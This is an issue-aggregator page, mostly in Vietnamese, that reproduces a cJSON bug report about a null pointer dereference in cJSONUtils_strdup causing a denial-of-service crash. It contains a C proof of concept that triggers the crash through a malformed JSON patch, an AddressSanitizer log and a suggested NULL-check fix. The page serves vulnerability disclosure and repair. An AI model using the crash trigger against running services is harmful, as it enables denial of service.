Security/Bug: Null Pointer Dereference in cJSONUtils_strdup leads to Denial of Service (DoS)
Maintainer thường phản hồi trong vòng 12 ngày
Đánh giá
- Độ khó
- 3/5
- Thời gian dự kiến
- 1-2 ngày
- Mức phù hợp với người mới
- 68/100
Hướng nghiên cứu
Bắt đầu trong cJSON_Utils.c tại cJSONUtils_strdup và đường dẫn apply_patch được hiển thị trong trace ASan; so sánh cách xử lý NULL của nó với cJSON_strdup trong cJSON.c. Biên dịch và chạy PoC về patch không đúng định dạng được cung cấp bằng AddressSanitizer. Hoàn tất khi đầu vào NULL không còn bị dereference và các hàm gọi như apply_patch hoặc detach_path xử lý an toàn kết quả NULL.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
Issue Description:
A Null Pointer Dereference vulnerability exists in cJSON_Utils.c. The internal helper function cJSONUtils_strdup does not validate if the incoming pointer is NULL before passing it to strlen(). When processing a malformed JSON patch where critical string fields (like path) have a NULL value string, the application triggers a segmentation fault (Null Pointer Dereference), resulting in a Denial of Service (DoS).
Vulnerability Analysis:
The issue lies in cJSON_Utils.c:
static unsigned char* cJSONUtils_strdup(const unsigned char* const string)
{
size_t length = 0;
unsigned char *copy = NULL;
// Vulnerability: No check for string == NULL before calling strlen()
length = strlen((const char*)string) + sizeof("");
...
}
Root Cause:
Unlike cJSON_strdup in cJSON.c which checks if string is NULL, cJSONUtils_strdup completely lacks this safety guard.
When calling functions like cJSONUtils_ApplyPatches, if an attacker crafts a malicious patch object where the path or value item's valuestring is programmatically NULL or missing under certain edge cases, apply_patch() will eventually propagate this NULL pointer to cJSONUtils_strdup(). This results in strlen(NULL), leading to an immediate crash.
Steps to Reproduce
Proof of Concept (PoC)
Compile the following code with AddressSanitizer enabled (-fsanitize=address):
#include <stdio.h>
#include <stdlib.h>
#include "cJSON.h"
#include "cJSON_Utils.h"
int main(void)
{
printf("[PoC 1] cJSONUtils_strdup NULL dereference\n");
printf("[*] Constructing malformed patch with path->valuestring = NULL\n");
/* Create target object: { "k": 1 } */
cJSON *obj = cJSON_CreateObject();
cJSON_AddNumberToObject(obj, "k", 1);
/* Construct patch: { "op": "remove", "path": "/k" } */
cJSON *patch = cJSON_CreateObject();
cJSON *op = cJSON_CreateString("remove");
cJSON *path = cJSON_CreateString("/k");
/* Critical: Force path->valuestring to be NULL to simulate a malformed/corrupted item */
path->valuestring = NULL;
cJSON_AddItemToObject(patch, "op", op);
cJSON_AddItemToObject(patch, "path", path);
cJSON *patches = cJSON_CreateArray();
cJSON_AddItemToArray(patches, patch);
printf("[*] Calling cJSONUtils_ApplyPatches()...\n");
/* Triggering vulnerability */
cJSONUtils_ApplyPatches(obj, patches);
cJSON_Delete(obj);
cJSON_Delete(patches);
return 0;
}
ASan Crash Log
==189825==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x55ff3336e33a bp 0x7ffd5b0f7c30 sp 0x7ffd5b0f7b70 T0)
==189825==The signal is caused by a READ memory access.
==189825==Hint: address points to the zero page.
#0 0x55ff3336e33a in apply_patch /home/kali/Desktop/cjsson/cJSON_Utils.c:839
#1 0x55ff3336ebd4 in cJSONUtils_ApplyPatches /home/kali/Desktop/cjsson/cJSON_Utils.c:1056
#2 0x55ff333700f1 in main /home/kali/Desktop/cjsson/poc_1_strdup_null.c:60
Suggested Fix:
Align the behavior of cJSONUtils_strdup with cJSON_strdup by adding a NULL pointer check at the beginning of the function:
static unsigned char* cJSONUtils_strdup(const unsigned char* const string)
{
size_t length = 0;
unsigned char *copy = NULL;
if (string == NULL)
{
return NULL;
}
length = strlen((const char*)string) + sizeof("");
...
Additionally, upstream callers (like apply_patch or detach_path) should properly handle cases where cJSONUtils_strdup returns NULL.
- Ngôn ngữ chính
- C
- Star
- 13k
- Fork
- 3.5k
- Chỉ số merge pull request
- Không có pull request nào được merge trong 30 ngày
Chuẩn bị môi trường
- Không có Dockerfile hay tệp Docker Compose
- Không có mẫu pull request
- Đọc hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của DaveGamble/cJSON
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
DaveGamble/cJSON#1106 ·
Maintainer thường phản hồi trong vòng 12 ngày
-
Undefined-Behavior in function cJSON_SetNumberHelperCó thể đã có người làm Có pull request liên kết đang mở hoặc đã được merge. Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 70/100
DaveGamble/cJSON#1100 · 1 reaction ·
Maintainer thường phản hồi trong vòng 12 ngày
-
CMake config files contain absolute install pathsCó thể đã có người làm @akashdeshmukh-git đã nhận 4 ngày trước. Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 86/100
DaveGamble/cJSON#1094 · 9 bình luận · 1 reaction ·
Maintainer thường phản hồi trong vòng 12 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
DaveGamble/cJSON#1093 ·
Maintainer thường phản hồi trong vòng 12 ngày
-
Use-after-free in cJSONUtils_ApplyPatches when a patch removes the patch arrayCó thể đã có người làm @iliasabk đã nhận 38 ngày trước. Đang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 82/100
DaveGamble/cJSON#1082 ·
Maintainer thường phản hồi trong vòng 12 ngày
Tất cả issue của DaveGamble/cJSON
Issue tương tự
-
enhancement ui
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 72/100
ChupathingyCE/chupathingyce#485 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Need to correct all URLsĐang mở
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 65/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 65/100
JustAResearcher/gpu-unlock-ada#98 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 79/100
FujiNetWIFI/fujinet-firmware#2216 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 84/100
Maintainer thường phản hồi trong vòng 2 ngày